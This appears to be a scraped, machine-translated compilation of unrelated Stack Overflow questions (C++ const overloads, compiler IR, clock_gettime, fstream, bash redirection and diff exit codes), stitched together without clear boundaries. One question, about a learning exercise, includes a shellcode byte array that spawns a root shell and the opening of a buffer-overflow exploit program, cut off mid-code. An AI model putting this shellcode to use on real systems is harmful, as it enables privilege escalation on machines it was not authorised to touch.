假设您有一个具有两个成员函数的类T.
char foo() const {...}char foo() {...}.我的理解是,当要求一个常数T时,我们决定(1); 对于非常数T,我们决定(2).
笔记:
我试图谷歌为它,但我得到的旧命中是其他重载决议涉及const的情况.然而,链接到一个老SO实际上解释上面显然很棒.
当重新阅读Stroustrup的"The C++编程语言",第2版("特别版"),第11.12节中的String/Cref示例时,就出现了这一点.296.由于Stroustrup是如此精确,答案可能在前几节,但我没有看到在哪里.参考Stroustrup中的部分也非常受欢迎(第2版最好,因为这是我所拥有的).第10.2.6节将const成员引入为"不改变对象值的那些",这暗示了答案,但并没有将我作为明确的解决方案指令.
,我将 IR 定义为 3 地址代码类型表示(我意识到人们也可以将其表示为 AST 表示)。
我的理解是,在为命令式语言编写最佳实践编译器时,代码优化发生在 AST(可能最好使用访问者模式)和从 AST 生成的 IR 上。
(a) 对吗?
(b) 在生成 IR 之前最好在 AST 上处理哪种类型的优化步骤?(参考一篇文章/在线列表也欢迎,只要它涉及命令式语言)
我正在开发的编译器用于 Decaf(有些人可能知道),它具有相当深的 CFG 直至(单个)类继承;我将添加不属于它的功能,例如类型强制。它将完全手工编码(不使用任何工具)。这不是家庭作业;写它是为了好玩。
在处理堆栈溢出时,我注意到只有在使用'-O1'编译它时才有效.为了了解哪个选项负责差异,我手动输入-O1选项(取自我的版本的页面,这与我在检查man gcc机器时找到的内容一致).但是,该程序再次无效.
我确实注意到在编译之后这可能没有用的警告输出-O1:
exploit_notesearch.c:31:10: warning: ignoring return value of ‘system’, declared with attribute warn_unused_result [-Wunused-result].
有任何想法吗?其他人在旧的SO问题中指出了差异,但仍然没有得到解决.
数据:
- Ubuntu 12.04
- gcc 4.6.3.
- x86 32位
- 一个C程序
注意:关于溢出工作,我已经禁用了我可以防止溢出的一切(金丝雀,ASLR,execstack,堆栈对齐).
代码(可能与问题无关).这个函数调用我可以发布的另一个 但我不认为它应该重要(将根据要求):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, …Run Code Online (Sandbox Code Playgroud) 正如已经有一段时间所知(例如,参见这个老问题,以及当你谷歌这个时弹出的错误报告),clock_gettime()似乎不会单调地报告时间.为了排除我可能监督的任何愚蠢错误,这里是相关代码(摘自大型程序):
<include time.h>
long nano_1, nano_2;
double delta;
struct timespec tspec, *tspec_ptr;
clock_gettime(CLOCK_MONOTONIC_RAW, tspec_ptr);
nano_1 = tspec.tv_nsec;
sort_selection(sorted_ptr, n);
clock_gettime(CLOCK_MONOTONIC_RAW, tspec_ptr);
nano_2 = tspec.tv_nsec;
delta = (nano_2 - nano_1)/1000000.0;
printf("\nSelection sort took %g micro seconds.\n", (double) delta);
Run Code Online (Sandbox Code Playgroud)
对小阵列(大约1,000个元素)进行排序会报告合理的时间.当我使用3种排序算法对较大的(10,000+)进行排序时,3个中的1-2个报告返回负排序时间.我尝试了手册页中提到的所有时钟类型,而不仅仅是CLOCK_MONOTONIC_RAW - 没有变化.
(1)我在代码中忽略了什么?
(2)是否有替代clock_gettime()的方法,以递增的方式测量时间比秒更精确?我不需要nanonseconds,但秒太粗糙,无法真正帮助.
系统:
- Ubuntu 12.04.
- 内核3.2.0-30
- gcc 4.6.3.
- libc version 2.15
- 使用-lrt编译
在很长一段时间没有使用C++的i/o工具(而是使用C linux API操作),我试图至少熟悉C++正确做事的方式.我在Ubuntu 12.04下工作,根据C++ 98,使用gcc -Wall编译没有错误或警告.当我需要创建一个我将首先写入的新文件,然后再读取时,问题出现了.问题如下:
#include <fstream>
std::fstream::openmode o_M = std::fstream::in | std::fstream::out;
std::fstream::openmode o_M1 = o_M | std::fstream::trunc;
std::fstream* preproc;
preproc = new std::fstream(out_Name.c_str(), o_M1); // (1)
if ( !(preproc->good()) )
errExit(1, "can't open file <%s>", out_Name.c_str());
preproc->put('c');
(*preproc) << "foo";
Run Code Online (Sandbox Code Playgroud)
据我所知,这应该写"cfoo"到文件; 但是,在使用适当的权限创建文件时,不会写任何内容.我已经经历了许多可能是错误的迭代(清除流;以不同模式打开;明确地首先打开指向文件; ...),但无济于事.此外,在同一个项目的早期,我创建并使用指向现有文件的fstream指针没有问题(使用相同的语法,没有openmode限定符(我当然也试过不对上面的文件使用openmodes)) - 从现有文件虽然.
当我改为使用非指针访问时,如
std::fstream TEST(out_Name.c_str(), o_M1); // (etc, ancillary changes)
Run Code Online (Sandbox Code Playgroud)
一切正常.
我很迷惑.我可能没有看到森林里的树木,如果有人指出我错过的东西,我将不胜感激.
我的程序生成的输出都指向std :: cout和std :: cerr.当我正常运行测试文件时
./a.out <source> &> <target>
Run Code Online (Sandbox Code Playgroud)
target按照./a.out生成的顺序捕获两种类型的输出.
当尝试为简单的单元测试框架自动测试输出时,我在bash脚本中实现了上述内容:
`rm $OUT_NAME`
`./a.out $NEW_UNIT &> $OUT_NAME`
Run Code Online (Sandbox Code Playgroud)
(带有明显的变量名称).发送到cout的输出打印正常; 但发送给cerr的那个打印不正确(有些打印;然后打印停止,没有错误).如果你想知道,我首先添加'rm'只是为了完全确定覆盖/附加到旧版本没有问题.
有任何想法吗?
我的系统:Ubuntu 12.04.
在命令行上,在两个不同的文件上使用diff后,命令
echo $?
Run Code Online (Sandbox Code Playgroud)
报告回'1'.当我在脚本中尝试相同的操作时,如下所示:
echo "` diff $F1 $F2`"
rv=$?
if [[ $rv == 1 ]]
then
echo "failed"
fi
Run Code Online (Sandbox Code Playgroud)
然后我从不打印'失败'(即使是不同的文件).请注意,这是bash shell,因此语法应该没问题(例如,如果我检查'0',它总是打印).
如何检查diff命令是否发现差异,并有条件地处理?
这是在Ubuntu 12.04下.